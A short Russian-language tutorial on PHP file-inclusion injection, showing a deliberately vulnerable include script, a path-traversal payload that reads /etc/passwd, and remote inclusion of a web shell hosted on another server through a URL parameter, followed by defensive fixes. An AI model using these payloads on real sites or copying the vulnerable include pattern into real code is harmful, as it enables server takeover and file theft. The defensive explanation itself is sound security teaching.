[Введение]

Сама суть выполнения инъекции данного типа заключается в выполнении постороннего кода на сервере.

Есть 5 типов самых потенциально опасных функций :

eval()
preg_replace()
require_once()
include_once()
include()
require()
create_function()

Рассмотрим простой уязвимый скрипт на примере module.php
PHP код:

$module = $_GET['module'];

include $module . '.php';

Скрипт уязвим, потому что к содержимому так как к содержимому $module просто прибавляется .php и по полученному пути просиходит подключение файла.

Вы можете создать файл

_http://site.com/whack.php

И если зайдете на сайт по ссылке типа :

_http://site2.com/whack2.php?module=http://rsite.com/whack/

То вам станет доступно выполнение любых php command.

[Использование]
1. Если у нас есть код данного типа :

Include ("sc<-b>ri<-b>pt/$module");

Вместо $module мы можем подставить:
../../../../../etc/passwd

Тогда мы получим вывод /etc/passwd.

Выполнить наш шелл находящийся на другом сервере мы уже не можем.

Тогда единственное, что для нас возможно - чтение произвольных файлов на сервере.
2. У нас имеется уязвимый параметр module.

Мы полноправно можем подставить вместо уязвимого параметра сайт с предварительно залитым на него вэб шеллом.

_http://wh-tm.ru/file.php?module=http://whack3/shell/

И тогда мы получаем includ файла shell.php на удаленный сайт.

[Защита от php injection]
На данный момент разработано несколько способов защиты вашего сайта от php injection :

1. Проверка переменной (в нашем случае $module) на наличие посторонних символов :
PHP код:

$module = $_GET['module'];

if (strpbrk($module, '.?/:')) die('Blocked');

include $module. '.php';

2. Проверка переменной (в нашем случае $module) на присовения одного из множества допустимых значений:
PHP код:

$module = $_GET['module'];

$arr = array('main', 'about', 'links', 'forum');

if (!in_array($module,$arr)) $module = $arr[0];

include $module . '.php';

Имеется возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.